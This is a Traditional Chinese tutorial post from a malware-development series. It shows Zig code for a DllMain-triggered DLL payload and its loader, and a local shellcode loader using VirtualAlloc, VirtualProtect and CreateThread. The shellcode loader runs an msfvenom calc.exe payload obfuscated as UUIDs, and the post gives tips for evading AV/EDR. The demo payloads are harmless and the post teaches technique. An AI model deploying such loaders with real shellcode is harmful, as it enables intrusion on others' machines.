早安大家,現在是早上 5 點,我是 CX330。待會有個比賽所以很怕寫不完,先熬夜寫一點起來(T^T)。
昨天介紹了 Windows 作業系統中的進程與線程,也深入的看了一下 PEB 和 TEB 兩個結構體。今天要來看一下 Payload 通常是如何被執行的。我們會繼續使用 Zig 程式語言實作兩種不同的執行方式,那就廢話不多說,讓我們開始今天的訓練吧蜥蜴們!
對了,今天的範例都可以在這個專案中找到,可以去看完整的程式碼。
中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」
本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!
本系列文章中使用的 Zig 版本號為 0.14.1。
我們要介紹的第一種方式,是當 Payload 作為一個 DLL 而存在的時候會執行的方式。
由於先前一直沒有好好介紹動態連結函式庫(Dynamic-Link Library, DLL),就讓我們花一點篇幅來看一下究竟 DLL 是什麼東西吧!
DLL 是一種共享函式庫,包含可以被多個應用程式同時使用的函式或是資料,它們匯出函數供進程使用。與 EXE 文件不同,DLL 不能自己執行程式碼;相反,DLL 需要其他的程式來調用才能執行程式碼。像是之前有提過的 CreateFileW
是從 kernel32.dll
匯出的,所以如果進程想要調用這個函數,就需要先把 kernel32.dll
載入到它的地址空間。
有些 DLL 會自動的被每個進程預設載入,因為這些 DLL 匯出一些對於進程來說必要的函數,像是 ntdll.dll
、kernel32.dll
和 kernelbase.dll
等。我們可以透過 Process Explorer 來看到進程載入的 DLL,如下圖我們可以看到 explorer.exe 載入的 DLL 有這些。
Windows 作業系統使用系統層級的 DLL 基址,將某些 DLL 在同一台機器上的所有進程中載入到相同的虛擬位址,以優化記憶體使用效率並提升系統效能。下圖我們使用另一個工具 System Informer 來顯示了 kernel32.dll
在多個進程中都被載入到相同的記憶體位址。
由於 DLL 是被應用程式給載入的,因此 DLL 可以指定一個入口點函數,當某動作發生的時後執行程式碼。
DLL_PROCESS_ATTACH
DLL_THREAD_ATTACH
DLL_PROCESS_DETACH
DLL_THREAD_DETACH
在 Windows 作業系統中,我們可以使用 LoadLibrary
、GetModuleHandle
和 GetProcAddress
這三個 Windows API 來從 DLL 中匯入函數,這被稱作動態連結。我們舉一個 C 語言的例子,來看一下如何做到動態連結吧。
#include <windows.h>
typedef void (WINAPI* SampleFunctionPtr)();
int main() {
HMODULE hModule = GetModuleHandleA("sampleDLL.dll");
if (hModule == NULL) {
hModule = LoadLibraryA("sampleDLL.dll");
}
PVOID pSampleFunction = GetProcAddress(hModule, "SampleFunction");
SampleFunctionPtr SampleFunction = (SampleFunctionPtr)pSampleFunction;
SampleFunction();
}
首先,如果 sampleDLL.dll
已經被載入到當進程的記憶體中,則可以透過 GetModuleHandle
這個 Windows API 來獲取到它的句柄;但如果尚未被載入,則會使用 LoadLibrary
先將其載入,並獲得句柄。當 DLL 被載入記憶體且我們獲取到該句柄後,下一步我們就會使用 GetProcAddress
來獲取我們需要的函數的地址。當我們把 SampleFunction
的地址儲存到 pSampleFunction
之後,接著就需要把這個地址轉換為 SampleFunction
的函數指針,將其轉為函數指針後才能調用它。
這是一種在執行的時候加載和連結程式碼的方法,而不是使用連結器(Linker)和匯入地址表(Import Address Table, IAT)在編譯的時候連結它們。
使用動態連結的好處有被微軟記錄為文檔,如下:
對了,有一些方式可以在不撰寫程式碼的情況下執行 DLL 匯出的函式。其中一個常見技巧是使用 rundll32.exe。它是 Windows 內建的執行檔,用於執行 DLL 檔案中匯出的函式。若要執行匯出的函式,請使用以下指令:
rundll32.exe <dll_name>, <function exported to run>
這個範例中我們會示範用 Zig 寫一個 DLL,讓它成功被載入的時候出現一個 Message Box,當然現實生活中的 Payload 會更加複雜,會去執行一些惡意的行為,不過這邊就用 Message Box 當一個概念驗證。我們可以使用 MessageBox
這個 Windows API 來建立一個彈窗。
以下的專案是透過 zig init
所建立的,並且會把 DLL 實作在 root.zig
,把 DLL 載入器實作在 main.zig
中。
注意!我們需要把以下的程式碼加入到 build.zig
當中,才可以讓 DLL 正確的被編譯出來。你可以把 payload_dll
替換成任意你喜歡的名稱。
const payload_dll = b.addSharedLibrary(.{
.name = "payload_dll",
.root_source_file = b.path("src/root.zig"),
.target = target,
.optimize = optimize,
});
// Link Windows libraries for the DLL
payload_dll.linkSystemLibrary("kernel32");
payload_dll.linkSystemLibrary("user32");
我們來看一下 DLL 的程式碼:
const std = @import("std");
const windows = std.os.windows;
// Windows API types
const HINSTANCE = windows.HINSTANCE;
const DWORD = windows.DWORD;
const LPVOID = *anyopaque;
const BOOL = windows.BOOL;
// DLL reasons
const DLL_PROCESS_ATTACH: DWORD = 1;
const DLL_THREAD_ATTACH: DWORD = 2;
const DLL_THREAD_DETACH: DWORD = 3;
const DLL_PROCESS_DETACH: DWORD = 0;
// MessageBox constants
const MB_OK: u32 = 0x00000000;
const MB_ICONINFORMATION: u32 = 0x00000040;
// Windows API functions
extern "user32" fn MessageBoxA(
hWnd: ?windows.HWND,
lpText: [*:0]const u8,
lpCaption: [*:0]const u8,
uType: u32,
) callconv(.C) i32;
fn msgBoxPayload() void {
_ = MessageBoxA(
null,
"Please give Black-Hat-Zig a star!",
"Malware!",
MB_OK | MB_ICONINFORMATION,
);
}
// DllMain has to be public
pub export fn DllMain(hModule: HINSTANCE, dwReason: DWORD, lpReserved: LPVOID) callconv(.C) BOOL {
_ = hModule;
_ = lpReserved;
switch (dwReason) {
DLL_PROCESS_ATTACH => {
msgBoxPayload();
},
DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH => {
// Do nothing for these cases
},
else => {
// Handle unexpected values
},
}
return 1; // TRUE
}
我們使用 msgBoxPayload
來代表著 Payload,並且我們會在 DllMain
函數中去設定當 DLL 被載入的時候會去執行,其他時間不做事。
由於我們剛剛有說,DLL 不能單獨執行程式碼,所以我們會來寫一個 Loader 來載入它。接著我們看一下 DLL 載入器的程式碼,一開始我們會先讓這個執行檔去接收 DLL 文件的路徑作為命令行的參數。
const args = try std.process.argsAlloc(allocator);
defer std.process.argsFree(allocator, args);
if (args.len < 2) {
print("[!] Missing Argument; Dll Payload To Run \n", .{});
print("Usage: {s} <dll_path>\n", .{args[0]});
std.process.exit(1);
}
const dll_path = args[1];
const current_pid = windows.GetCurrentProcessId();
print("[i] Injecting \"{s}\" To The Local Process Of Pid: {d} \n", .{ dll_path, current_pid });
接著去驗證一下該文件存在,並解析完整路徑。
var full_path_buf: [windows.PATH_MAX_WIDE]u8 = undefined;
const full_path = std.fs.cwd().realpath(dll_path, &full_path_buf) catch |err| {
print("[!] Cannot access DLL file \"{s}\": {}\n", .{ dll_path, err });
print("[!] Make sure the file exists and is in the current directory\n", .{});
std.process.exit(1);
};
print("[+] Full DLL path: {s}\n", .{full_path});
print("[+] Loading Dll... ", .{});
接著使用 std.DynLib.open
載入剛剛指定的 DLL 到當前的進程。
var open_lib = std.DynLib.open(dll_path);
if (open_lib) |*lib| {
const handle = lib.inner.dll;
print("SUCCESS!\n", .{});
print("[+] DLL Handle: 0x{x}\n", .{@intFromPtr(handle)});
// Verify the loaded module
var module_name: [windows.MAX_PATH]u8 = undefined;
const name_len = GetModuleFileNameA(handle, &module_name, windows.MAX_PATH);
if (name_len > 0) {
print("[+] Loaded module: {s}\n", .{module_name[0..name_len]});
}
print("[+] DLL loaded successfully! Waiting for payload execution...\n", .{});
// Give the DLL time to execute
std.time.sleep(2 * std.time.ns_per_s); // Wait 2 seconds
// Keep the DLL loaded for a bit longer
print("[+] Press <Enter> to unload DLL and exit... ", .{});
_ = std.io.getStdIn().reader().readByte() catch {};
// Unload the DLL
lib.close();
print("[+] DLL unloaded successfully\n", .{});
print("[+] DONE!\n", .{});
} else |_| {
const error_code = windows.GetLastError();
print("FAILED!\n", .{});
print("[!] LoadLibraryA Failed With Error: {d}\n", .{@intFromEnum(error_code)});
// Print common error meanings
switch (error_code) {
.FILE_NOT_FOUND => print(" → The system cannot find the file specified\n", .{}),
.PATH_NOT_FOUND => print(" → The system cannot find the path specified\n", .{}),
.MOD_NOT_FOUND => print(" → The specified module could not be found\n", .{}),
.BAD_EXE_FORMAT => print(" → Not a valid Win32 application\n", .{}),
else => print(" → Unknown error\n", .{}),
}
std.process.exit(1);
}
當我們編譯並執行之後應該會看到以下的效果。
我們可以使用 System Informer 去檢查,果然有載入我們的 payload_dll.dll
。
第二種方式是透過 Shellcode 去執行。在這過程中,我們會需要用到以下三種 Windows API。
注意!這邊提到的方法絕對不是隱蔽的,AV/EDR 幾乎都能偵測到這樣簡單的 Shellcode 執行技術,此處僅作為示範 Shellcode 執行的用途。
VirtualAlloc
VirtualProtect
CreateThread
在這邊,會用到我們第 11 天做的 ZYPE 專案去混淆我們的 Payload,如果還沒閱讀的可以先去看看。在這邊,我們用到的 Shellcode 是 MSFvenom 生成的 x64 calc.exe 的 Payload。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
並且我們會使用 UUID 混淆。
zype -f calc.bin -m uuid
如此一來,我們就獲得了混淆過後的 Payload 了。
接下來,我們會使用 VirtualAlloc
來分配大小等同於 Payload 的記憶體。先前已經討論過記憶體分配時可以指定的權限了,為了執行 Payload 最簡單的方式是將其設置為 PAGE_EXECUTE_READWRITE
,但是這對於很多安全解決方案來說是個極危險的指標。因此我們會先將其設置為 PAGE_READWRITE
,因為現在這個階段我們只需要寫入,還不需要執行。最後,VirtualAlloc
會返回所分配的記憶體的基址。
const p_shellcode_address = VirtualAlloc(null, s_deobfuscated_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) orelse {
print("[!] VirtualAlloc Failed With Error : {d} \n", .{GetLastError()});
std.process.exit(1);
};
接著,我們會把解混淆的 Payload 複製到剛剛分配的記憶體空間中,然後把原本的緩衝區清零。因為我們已經把 Payload 放上剛分配的記憶體了,所以將原本的緩衝區清零可以降低安全解決方案載記憶體裡面找到 Payload 的可能性。
// Copy the payload to allocated memory
@memcpy(@as([*]u8, @ptrCast(p_shellcode_address))[0..s_deobfuscated_size], p_deobfuscated_payload);
// Clear the original payload buffer
@memset(@as([*]u8, @ptrCast(p_deobfuscated_payload.ptr))[0..s_deobfuscated_size], 0);
因為現在剛剛分配的記憶體只允許讀寫,我們需要使用 VirtualProtect
來修改記憶體保護,讓 Payload 可以被執行。雖然某些 Shellcode 需要使用 PAGE_EXECUTE_READWRITE
,像是自解密(Self-decrypting)Shellcode,但是這個 MSFvenom 的並不用。但是為了方便演示,我們下面還是使用了這個記憶體保護設定。
// Change memory protection to executable
var dw_old_protection: DWORD = 0;
if (VirtualProtect(p_shellcode_address, s_deobfuscated_size, PAGE_EXECUTE_READWRITE, &dw_old_protection) == 0) {
print("[!] VirtualProtect Failed With Error : {d} \n", .{GetLastError()});
std.process.exit(1);
}
最後這個階段就要執行 Payload 啦!如果用一個新的線程執行 Shellcode,卻不加入一點短暫的延遲,主線程很有可能會在負責執行 Shellcode 的線程執行完畢前就先結束,像是以下的程式碼,主線程會直接 return 掉:
const thread_handle = CreateThread(null, 0, @ptrCast(p_shellcode_address), null, 0, null) orelse {
print("[!] CreateThread Failed With Error : {d} \n", .{GetLastError()});
std.process.exit(1);
};
return 0;
在下面的範例中,我們會使用一個暫停函數 waitForEnter
,有點類似於 C 語言的 getchar
的感覺來暫停主線程的執行,直到使用者提供輸入。以下是它的實現。
fn waitForEnter(message: []const u8) void {
print("{s}", .{message});
var buffer: [256]u8 = undefined;
_ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
不過在實際的惡意程式開發中,我們應該使用 WaitForSingleObject
這個 Windows API 來等待指定時間,讓線程執行。
WaitForSingleObject
可以接收兩個參數,第一個參數是物件的句柄,例如一個線程的句柄;第二個參數是毫秒,表示要等待它執行多久的時間。值得注意的是,如果我們第二個參數傳入 INFINITE
,則會等第一個傳入的線程執行完畢後才繼續執行主線程指令。
之後幾天的實作我們應該會看到這個詳細的用法,這邊我們就還是先使用 waitForEnter
來當作暫停主線程的函數。
在執行完後,應該會看到像這樣的小算盤。
我們可以使用 x64dbg 來一步一步觀察記憶體。解混淆後的 Payload。
下一步看一下是否有使用 VirtualAlloc
分配記憶體,再次檢查左下角的記憶體,已經被清零。
接著,成功分配記憶體後,寫入 Paylaod。
最後看一下原本的記憶體位置,已經被清零。
最後,我們使用 System Informer 可以看到 Shellcode 的記憶體是 RWX
的,這通常會被安全解決方案給標紅。
好囉!寫完了,天啊現在已經 23.57 分了,真的在跟時間賽跑。不說了,今天比賽一整天又寫這個累死了,休息去了。
如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!